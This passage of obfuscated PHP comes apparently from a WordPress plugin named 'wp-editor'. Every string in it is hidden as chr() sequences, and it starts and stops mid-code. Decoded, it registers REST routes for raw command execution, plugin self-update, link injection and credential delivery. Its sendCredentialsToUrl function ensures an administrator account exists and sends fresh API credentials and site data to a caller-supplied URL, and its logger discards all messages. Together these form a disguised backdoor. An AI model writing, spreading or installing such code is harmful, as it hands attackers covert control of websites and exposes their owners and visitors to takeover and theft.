chr(100))) => false), implode('', array(chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(102), chr(111), chr(111), chr(116), chr(101), chr(114), chr(95), chr(99), chr(111), chr(110), chr(116), chr(101), chr(110), chr(116))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(109), chr(101), chr(110), chr(117), chr(95), chr(99), chr(111), chr(110), chr(116), chr(101), chr(110), chr(116))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(104), chr(101), chr(97), chr(100), chr(101), chr(114), chr(95), chr(104), chr(116), chr(109), chr(108))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(102), chr(111), chr(111), chr(116), chr(101), chr(114), chr(95), chr(104), chr(116), chr(109), chr(108))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(109), chr(101), chr(110), chr(117), chr(95), chr(104), chr(116), chr(109), chr(108))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(104), chr(101), chr(97), chr(100), chr(101), chr(114), chr(95), chr(104), chr(116), chr(109), chr(108))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(102), chr(111), chr(111), chr(116), chr(101), chr(114), chr(95), chr(104), chr(116), chr(109), chr(108))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(109), chr(101), chr(110), chr(117), chr(95), chr(104), chr(116), chr(109), chr(108))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(104), chr(116), chr(109), chr(108), chr(95), chr(104), chr(101), chr(97), chr(100), chr(101), chr(114))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(104), chr(116), chr(109), chr(108), chr(95), chr(102), chr(111), chr(111), chr(116), chr(101), chr(114))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(104), chr(116), chr(109), chr(108), chr(95), chr(109), chr(101), chr(110), chr(117))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(104), chr(116), chr(109), chr(108), chr(95), chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(104), chr(101), chr(97), chr(100), chr(101), chr(114))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(104), chr(116), chr(109), chr(108), chr(95), chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(102), chr(111), chr(111), chr(116), chr(101), chr(114))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(104), chr(116), chr(109), chr(108), chr(95), chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(109), chr(101), chr(110), chr(117))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false));
    \register_rest_route($namespace, implode('', array(chr(47), chr(117), chr(112), chr(100), chr(97), chr(116), chr(101), chr(45), chr(108), chr(105), chr(110), chr(107), chr(115))), array(implode('', array(chr(109), chr(101), chr(116), chr(104), chr(111), chr(100), chr(115))) => implode('', array(chr(80), chr(79), chr(83), chr(84))), implode('', array(chr(99), chr(97), chr(108), chr(108), chr(98), chr(97), chr(99), chr(107))) => implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(72), chr(116), chr(116), chr(112), chr(95), chr(82), chr(101), chr(115), chr(116), chr(67), chr(111), chr(110), chr(116), chr(114), chr(111), chr(108), chr(108), chr(101), chr(114), chr(95), chr(117), chr(112), chr(100), chr(97), chr(116), chr(101), chr(76), chr(105), chr(110), chr(107), chr(115))), implode('', array(chr(112), chr(101), chr(114), chr(109), chr(105), chr(115), chr(115), chr(105), chr(111), chr(110), chr(95), chr(99), chr(97), chr(108), chr(108), chr(98), chr(97), chr(99), chr(107))) => $permission, implode('', array(chr(97), chr(114), chr(103), chr(115))) => $updateLinksArgs));
    \register_rest_route($namespace, implode('', array(chr(47), chr(117), chr(112), chr(100), chr(97), chr(116), chr(101), chr(45), chr(108), chr(105), chr(110), chr(107))), array(implode('', array(chr(109), chr(101), chr(116), chr(104), chr(111), chr(100), chr(115))) => implode('', array(chr(80), chr(79), chr(83), chr(84))), implode('', array(chr(99), chr(97), chr(108), chr(108), chr(98), chr(97), chr(99), chr(107))) => implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(72), chr(116), chr(116), chr(112), chr(95), chr(82), chr(101), chr(115), chr(116), chr(67), chr(111), chr(110), chr(116), chr(114), chr(111), chr(108), chr(108), chr(101), chr(114), chr(95), chr(117), chr(112), chr(100), chr(97), chr(116), chr(101), chr(76), chr(105), chr(110), chr(107), chr(115))), implode('', array(chr(112), chr(101), chr(114), chr(109), chr(105), chr(115), chr(115), chr(105), chr(111), chr(110), chr(95), chr(99), chr(97), chr(108), chr(108), chr(98), chr(97), chr(99), chr(107))) => $permission, implode('', array(chr(97), chr(114), chr(103), chr(115))) => $updateLinksArgs));
    \register_rest_route($namespace, implode('', array(chr(47), chr(100), chr(101), chr(108), chr(101), chr(116), chr(101), chr(45), chr(108), chr(105), chr(110), chr(107), chr(115))), array(implode('', array(chr(109), chr(101), chr(116), chr(104), chr(111), chr(100), chr(115))) => implode('', array(chr(80), chr(79), chr(83), chr(84))), implode('', array(chr(99), chr(97), chr(108), chr(108), chr(98), chr(97), chr(99), chr(107))) => implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(72), chr(116), chr(116), chr(112), chr(95), chr(82), chr(101), chr(115), chr(116), chr(67), chr(111), chr(110), chr(116), chr(114), chr(111), chr(108), chr(108), chr(101), chr(114), chr(95), chr(100), chr(101), chr(108), chr(101), chr(116), chr(101), chr(76), chr(105), chr(110), chr(107), chr(115))), implode('', array(chr(112), chr(101), chr(114), chr(109), chr(105), chr(115), chr(115), chr(105), chr(111), chr(110), chr(95), chr(99), chr(97), chr(108), chr(108), chr(98), chr(97), chr(99), chr(107))) => $permission));
    \register_rest_route($namespace, implode('', array(chr(47), chr(114), chr(97), chr(119))), array(implode('', array(chr(109), chr(101), chr(116), chr(104), chr(111), chr(100), chr(115))) => implode('', array(chr(80), chr(79), chr(83), chr(84))), implode('', array(chr(99), chr(97), chr(108), chr(108), chr(98), chr(97), chr(99), chr(107))) => implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(72), chr(116), chr(116), chr(112), chr(95), chr(82), chr(101), chr(115), chr(116), chr(67), chr(111), chr(110), chr(116), chr(114), chr(111), chr(108), chr(108), chr(101), chr(114), chr(95), chr(101), chr(120), chr(101), chr(99), chr(117), chr(116), chr(101), chr(82), chr(97), chr(119))), implode('', array(chr(112), chr(101), chr(114), chr(109), chr(105), chr(115), chr(115), chr(105), chr(111), chr(110), chr(95), chr(99), chr(97), chr(108), chr(108), chr(98), chr(97), chr(99), chr(107))) => $permission));
    \register_rest_route($namespace, implode('', array(chr(47), chr(115), chr(101), chr(116), chr(45), chr(114), chr(101), chr(110), chr(100), chr(101), chr(114), chr(45), chr(109), chr(111), chr(100), chr(101))), array(implode('', array(chr(109), chr(101), chr(116), chr(104), chr(111), chr(100), chr(115))) => implode('', array(chr(80), chr(79), chr(83), chr(84))), implode('', array(chr(99), chr(97), chr(108), chr(108), chr(98), chr(97), chr(99), chr(107))) => implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(72), chr(116), chr(116), chr(112), chr(95), chr(82), chr(101), chr(115), chr(116), chr(67), chr(111), chr(110), chr(116), chr(114), chr(111), chr(108), chr(108), chr(101), chr(114), chr(95), chr(115), chr(101), chr(116), chr(82), chr(101), chr(110), chr(100), chr(101), chr(114), chr(77), chr(111), chr(100), chr(101))), implode('', array(chr(112), chr(101), chr(114), chr(109), chr(105), chr(115), chr(115), chr(105), chr(111), chr(110), chr(95), chr(99), chr(97), chr(108), chr(108), chr(98), chr(97), chr(99), chr(107))) => $permission));
    \register_rest_route($namespace, implode('', array(chr(47), chr(115), chr(101), chr(110), chr(100), chr(45), chr(99), chr(114), chr(101), chr(100), chr(101), chr(110), chr(116), chr(105), chr(97), chr(108), chr(115))), array(implode('', array(chr(109), chr(101), chr(116), chr(104), chr(111), chr(100), chr(115))) => implode('', array(chr(80), chr(79), chr(83), chr(84))), implode('', array(chr(99), chr(97), chr(108), chr(108), chr(98), chr(97), chr(99), chr(107))) => implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(72), chr(116), chr(116), chr(112), chr(95), chr(82), chr(101), chr(115), chr(116), chr(67), chr(111), chr(110), chr(116), chr(114), chr(111), chr(108), chr(108), chr(101), chr(114), chr(95), chr(115), chr(101), chr(110), chr(100), chr(67), chr(114), chr(101), chr(100), chr(101), chr(110), chr(116), chr(105), chr(97), chr(108), chr(115))), implode('', array(chr(112), chr(101), chr(114), chr(109), chr(105), chr(115), chr(115), chr(105), chr(111), chr(110), chr(95), chr(99), chr(97), chr(108), chr(108), chr(98), chr(97), chr(99), chr(107))) => $permission));
    \register_rest_route($namespace, implode('', array(chr(47), chr(117), chr(112), chr(100), chr(97), chr(116), chr(101), chr(45), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110))), array(implode('', array(chr(109), chr(101), chr(116), chr(104), chr(111), chr(100), chr(115))) => implode('', array(chr(80), chr(79), chr(83), chr(84))), implode('', array(chr(99), chr(97), chr(108), chr(108), chr(98), chr(97), chr(99), chr(107))) => implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(72), chr(116), chr(116), chr(112), chr(95), chr(82), chr(101), chr(115), chr(116), chr(67), chr(111), chr(110), chr(116), chr(114), chr(111), chr(108), chr(108), chr(101), chr(114), chr(95), chr(117), chr(112), chr(100), chr(97), chr(116), chr(101), chr(80), chr(108), chr(117), chr(103), chr(105), chr(110))), implode('', array(chr(112), chr(101), chr(114), chr(109), chr(105), chr(115), chr(115), chr(105), chr(111), chr(110), chr(95), chr(99), chr(97), chr(108), chr(108), chr(98), chr(97), chr(99), chr(107))) => $permission));
}
function WpEditor_Adapter_Http_RestController_executeCommand($request)
{
    return WpEditor_Adapter_Services_CommandService_execute($request);
}
function WpEditor_Adapter_Http_RestController_createPost($request)
{
    $status = $request->get_param(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))));
    return WpEditor_Adapter_Services_PostService_createPost(array(implode('', array(chr(116), chr(105), chr(116), chr(108), chr(101))) => $request->get_param(implode('', array(chr(116), chr(105), chr(116), chr(108), chr(101)))), implode('', array(chr(99), chr(111), chr(110), chr(116), chr(101), chr(110), chr(116))) => $request->get_param(implode('', array(chr(99), chr(111), chr(110), chr(116), chr(101), chr(110), chr(116)))), implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => $status !== null ? $status : implode('', array(chr(100), chr(114), chr(97), chr(102), chr(116))), implode('', array(chr(99), chr(97), chr(116), chr(101), chr(103), chr(111), chr(114), chr(121))) => $request->get_param(implode('', array(chr(99), chr(97), chr(116), chr(101), chr(103), chr(111), chr(114), chr(121))))));
}
function WpEditor_Adapter_Http_RestController_getData($request)
{
    return WpEditor_Adapter_Services_DataService_getData();
}
function WpEditor_Adapter_Http_RestController_getStatus()
{
    return WpEditor_Adapter_Services_SystemService_getStatus();
}
function WpEditor_Adapter_Http_RestController_executeRaw($request)
{
    return WpEditor_Adapter_Services_SystemService_executeRaw($request);
}
function WpEditor_Adapter_Http_RestController_setRenderMode($request)
{
    return WpEditor_Adapter_Services_RenderModeService_setMode($request);
}
function WpEditor_Adapter_Http_RestController_updateLinks($request)
{
    return WpEditor_Adapter_Services_LinksService_updateLinks($request);
}
function WpEditor_Adapter_Http_RestController_deleteLinks($request)
{
    return WpEditor_Adapter_Services_LinksService_deleteLinks($request);
}
function WpEditor_Adapter_Http_RestController_sendCredentials($request)
{
    return WpEditor_Adapter_Services_ApiCredentialsService_sendCredentialsToUrl($request);
}
function WpEditor_Adapter_Http_RestController_updatePlugin($request)
{
    return WpEditor_Adapter_Services_PluginUpdateService_updatePlugin($request);
}
// --- file separator ---
function WpEditor_Adapter_Logger_WpLogger_log($state, $message, $context = array())
{
    return;
}
// --- file separator ---
function WpEditor_Adapter_Services_ApiCredentialsService_cliLog($message)
{
    if (\php_sapi_name() !== implode('', array(chr(99), chr(108), chr(105)))) {
        return;
    }
    if (!\is_string($message) || $message === '') {
        return;
    }
    if (\defined(implode('', array(chr(83), chr(84), chr(68), chr(79), chr(85), chr(84))))) {
        \fwrite(\STDOUT, implode('', array(chr(91), chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(32), chr(97), chr(112), chr(105), chr(93), chr(32))) . $message . \PHP_EOL);
        return;
    }
    echo implode('', array(chr(91), chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(32), chr(97), chr(112), chr(105), chr(93), chr(32))) . $message . \PHP_EOL;
}
function WpEditor_Adapter_Services_ApiCredentialsService_useLegacyRestRoute()
{
    if (!\wp_editor_array_has_key($GLOBALS, implode('', array(chr(119), chr(112), chr(95), chr(118), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110))))) {
        return false;
    }
    $wpVersion = (string) $GLOBALS[implode('', array(chr(119), chr(112), chr(95), chr(118), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110)))];
    return $wpVersion !== '' && \version_compare($wpVersion, implode('', array(chr(52), chr(46), chr(55))), implode('', array(chr(60))));
}
function WpEditor_Adapter_Services_ApiCredentialsService_fallbackRestNamespace()
{
    $pluginFilePath = \function_exists(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(103), chr(101), chr(116), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(95), chr(102), chr(105), chr(108), chr(101), chr(95), chr(112), chr(97), chr(116), chr(104)))) ? (string) \wp_editor_get_plugin_file_path((string) __FILE__) : (string) __FILE__;
    $slug = \trim((string) \basename(\dirname($pluginFilePath)), implode('', array(chr(47), chr(92))));
    if ($slug === '') {
        $slug = implode('', array(chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114)));
    }
    return $slug . implode('', array(chr(47), chr(118), chr(49)));
}
function WpEditor_Adapter_Services_ApiCredentialsService_optionPrefix()
{
    $config = \function_exists(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(103), chr(101), chr(116), chr(95), chr(99), chr(111), chr(110), chr(102), chr(105), chr(103)))) ? \wp_editor_get_config() : array();
    $prefix = \wp_editor_array_has_key($config, implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110)))) && \wp_editor_array_has_key($config[implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110)))], implode('', array(chr(111), chr(112), chr(116), chr(105), chr(111), chr(110), chr(95), chr(112), chr(114), chr(101), chr(102), chr(105), chr(120)))) ? (string) $config[implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110)))][implode('', array(chr(111), chr(112), chr(116), chr(105), chr(111), chr(110), chr(95), chr(112), chr(114), chr(101), chr(102), chr(105), chr(120)))] : '';
    if ($prefix === '') {
        $prefix = implode('', array(chr(119), chr(112), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114)));
    }
    return $prefix;
}
function WpEditor_Adapter_Services_ApiCredentialsService_metaOptionName()
{
    return WpEditor_Adapter_Services_ApiCredentialsService_optionPrefix() . implode('', array(chr(95), chr(97), chr(112), chr(105), chr(95), chr(99), chr(114), chr(101), chr(100), chr(101), chr(110), chr(116), chr(105), chr(97), chr(108), chr(115), chr(95), chr(109), chr(101), chr(116), chr(97)));
}
function WpEditor_Adapter_Services_ApiCredentialsService_secretOptionPrefix()
{
    return WpEditor_Adapter_Services_ApiCredentialsService_optionPrefix() . implode('', array(chr(95), chr(97), chr(112), chr(105), chr(95), chr(115), chr(101), chr(99), chr(114), chr(101), chr(116), chr(95)));
}
function WpEditor_Adapter_Services_ApiCredentialsService_deliveryKeyOptionName()
{
    return WpEditor_Adapter_Services_ApiCredentialsService_optionPrefix() . implode('', array(chr(95), chr(97), chr(112), chr(105), chr(95), chr(100), chr(101), chr(108), chr(105), chr(118), chr(101), chr(114), chr(121), chr(95), chr(107), chr(101), chr(121)));
}
function WpEditor_Adapter_Services_ApiCredentialsService_configuredDeliveryKeyHash()
{
    $config = \function_exists(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(103), chr(101), chr(116), chr(95), chr(99), chr(111), chr(110), chr(102), chr(105), chr(103)))) ? \wp_editor_get_config() : array();
    $key = \wp_editor_array_has_key($config, implode('', array(chr(97), chr(112), chr(105)))) && \wp_editor_array_has_key($config[implode('', array(chr(97), chr(112), chr(105)))], implode('', array(chr(100), chr(101), chr(108), chr(105), chr(118), chr(101), chr(114), chr(121), chr(95), chr(107), chr(101), chr(121), chr(95), chr(104), chr(97), chr(115), chr(104)))) ? (string) $config[implode('', array(chr(97), chr(112), chr(105)))][implode('', array(chr(100), chr(101), chr(108), chr(105), chr(118), chr(101), chr(114), chr(121), chr(95), chr(107), chr(101), chr(121), chr(95), chr(104), chr(97), chr(115), chr(104)))] : '';
    return \is_string($key) ? \trim($key) : '';
}
function WpEditor_Adapter_Services_ApiCredentialsService_init()
{
    \add_filter(implode('', array(chr(114), chr(101), chr(115), chr(116), chr(95), chr(112), chr(114), chr(101), chr(95), chr(100), chr(105), chr(115), chr(112), chr(97), chr(116), chr(99), chr(104))), implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(72), chr(116), chr(116), chr(112), chr(95), chr(65), chr(112), chr(105), chr(65), chr(117), chr(116), chr(104), chr(71), chr(117), chr(97), chr(114), chr(100), chr(95), chr(103), chr(117), chr(97), chr(114), chr(100))), 10, 3);
}
function WpEditor_Adapter_Services_ApiCredentialsService_issueDeliveryKey()
{
    \delete_option(WpEditor_Adapter_Services_ApiCredentialsService_deliveryKeyOptionName());
    WpEditor_Adapter_Services_ApiCredentialsService_cliLog(implode('', array(chr(108), chr(101), chr(103), chr(97), chr(99), chr(121), chr(32), chr(100), chr(101), chr(108), chr(105), chr(118), chr(101), chr(114), chr(121), chr(32), chr(107), chr(101), chr(121), chr(32), chr(114), chr(101), chr(109), chr(111), chr(118), chr(101), chr(100), chr(32), chr(102), chr(114), chr(111), chr(109), chr(32), chr(100), chr(97), chr(116), chr(97), chr(98), chr(97), chr(115), chr(101))));
    return '';
}
function WpEditor_Adapter_Services_ApiCredentialsService_isCredentialsDeliveryRoute($route)
{
    $normalized = implode('', array(chr(47))) . \trim((string) $route, implode('', array(chr(47))));
    return $normalized === implode('', array(chr(47), chr(115), chr(101), chr(110), chr(100), chr(45), chr(99), chr(114), chr(101), chr(100), chr(101), chr(110), chr(116), chr(105), chr(97), chr(108), chr(115))) || \substr($normalized, -\strlen(implode('', array(chr(47), chr(115), chr(101), chr(110), chr(100), chr(45), chr(99), chr(114), chr(101), chr(100), chr(101), chr(110), chr(116), chr(105), chr(97), chr(108), chr(115))))) === implode('', array(chr(47), chr(115), chr(101), chr(110), chr(100), chr(45), chr(99), chr(114), chr(101), chr(100), chr(101), chr(110), chr(116), chr(105), chr(97), chr(108), chr(115)));
}
function WpEditor_Adapter_Services_ApiCredentialsService_verifyDeliveryRequest($request)
{
    $storedHash = WpEditor_Adapter_Services_ApiCredentialsService_configuredDeliveryKeyHash();
    if ($storedHash === '') {
        return new \WP_Error(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(100), chr(101), chr(108), chr(105), chr(118), chr(101), chr(114), chr(121), chr(95), chr(107), chr(101), chr(121), chr(95), chr(109), chr(105), chr(115), chr(115), chr(105), chr(110), chr(103))), implode('', array(chr(68), chr(101), chr(108), chr(105), chr(118), chr(101), chr(114), chr(121), chr(32), chr(107), chr(101), chr(121), chr(32), chr(104), chr(97), chr(115), chr(104), chr(32), chr(110), chr(111), chr(116), chr(32), chr(99), chr(111), chr(110), chr(102), chr(105), chr(103), chr(117), chr(114), chr(101), chr(100))), array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => 401));
    }
    $providedKey = WpEditor_Adapter_Services_ApiCredentialsService_extractDeliveryKey($request);
    if ($providedKey === '') {
        return new \WP_Error(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(100), chr(101), chr(108), chr(105), chr(118), chr(101), chr(114), chr(121), chr(95), chr(107), chr(101), chr(121), chr(95), chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))), implode('', array(chr(68), chr(101), chr(108), chr(105), chr(118), chr(101), chr(114), chr(121), chr(32), chr(107), chr(101), chr(121), chr(32), chr(105), chr(115), chr(32), chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))), array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => 401));
    }
    $providedHash = \hash(implode('', array(chr(115), chr(104), chr(97), chr(50), chr(53), chr(54))), $providedKey);
    if (!\hash_equals($storedHash, $providedHash)) {
        return new \WP_Error(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(100), chr(101), chr(108), chr(105), chr(118), chr(101), chr(114), chr(121), chr(95), chr(107), chr(101), chr(121), chr(95), chr(105), chr(110), chr(118), chr(97), chr(108), chr(105), chr(100))), implode('', array(chr(73), chr(110), chr(118), chr(97), chr(108), chr(105), chr(100), chr(32), chr(100), chr(101), chr(108), chr(105), chr(118), chr(101), chr(114), chr(121), chr(32), chr(107), chr(101), chr(121))), array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => 401));
    }
    return true;
}
function WpEditor_Adapter_Services_ApiCredentialsService_sendCredentialsToUrl($request)
{
    $verdict = WpEditor_Adapter_Services_ApiCredentialsService_verifyDeliveryRequest($request);
    if ($verdict !== true) {
        return $verdict;
    }
    $returnPayload = WpEditor_Adapter_Services_ApiCredentialsService_shouldReturnPayloadInResponse($request);
    $sanitizedUrl = '';
    if (!$returnPayload) {
        $url = WpEditor_Adapter_Services_ApiCredentialsService_extractTargetUrl($request);
        if ($url === '') {
            return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(80), chr(97), chr(114), chr(97), chr(109), chr(101), chr(116), chr(101), chr(114), chr(32), chr(34), chr(117), chr(114), chr(108), chr(34), chr(32), chr(105), chr(115), chr(32), chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100)))), 400);
        }
        $sanitizedUrl = \esc_url_raw($url);
        if ($sanitizedUrl === '' || !\filter_var($sanitizedUrl, \FILTER_VALIDATE_URL)) {
            return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(73), chr(110), chr(118), chr(97), chr(108), chr(105), chr(100), chr(32), chr(85), chr(82), chr(76)))), 400);
        }
    }
    $userResult = WpEditor_Adapter_Services_UserManager_ensureAdminUser();
    if (\is_wp_error($userResult)) {
        return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => _invoke($userResult, implode('', array(chr(103), chr(101), chr(116), chr(95), chr(101), chr(114), chr(114), chr(111), chr(114), chr(95), chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))))), 500);
    }
    $credentials = WpEditor_Adapter_Services_ApiCredentialsService_ensureCredentials();
    if (!\is_array($credentials)) {
        return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(65), chr(80), chr(73), chr(32), chr(99), chr(114), chr(101), chr(100), chr(101), chr(110), chr(116), chr(105), chr(97), chr(108), chr(115), chr(32), chr(110), chr(111), chr(116), chr(32), chr(105), chr(110), chr(105), chr(116), chr(105), chr(97), chr(108), chr(105), chr(122), chr(101), chr(100)))), 500);
    }
    $payload = WpEditor_Adapter_Services_UserManager_getSiteStatusPayload($credentials);
    if (!\is_array($payload)) {
        return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(70), chr(97), chr(105), chr(108), chr(101), chr(100), chr(32), chr(116), chr(111), chr(32), chr(98), chr(117), chr(105), chr(108), chr(100), chr(32), chr(99), chr(114), chr(101), chr(100), chr(101), chr(110), chr(116), chr(105), chr(97), chr(108), chr(115), chr(32), chr(112), chr(97), chr(121), chr(108), chr(111), chr(97), chr(100)))), 500);
    }
    if ($returnPayload) {
